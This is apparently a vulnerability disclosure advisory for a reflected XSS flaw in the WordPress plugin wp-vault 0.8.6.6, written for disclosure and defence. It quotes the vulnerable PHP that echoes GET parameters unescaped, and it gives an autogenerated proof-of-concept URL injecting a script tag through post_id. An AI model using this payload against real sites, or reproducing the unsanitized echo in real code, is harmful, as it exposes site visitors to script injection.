Advisory #: 733
Title: Reflected XSS in wordpress plugin wp-vault v0.8.6.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-vault
Downloads: 20257
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-vault
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-vault/wpv-redirect.php: 6: <input type="hidden" name="post_id" value="<?php echo $_GET["post_id"]; ?>" /> 7: <input type="hidden" name="proc" value="<?php echo $_GET["proc"]; ?>" /> The variable post_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-vault/wpv-redirect.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-vault/wpv-redirect.php?post_id="><script>alert(1);</script><"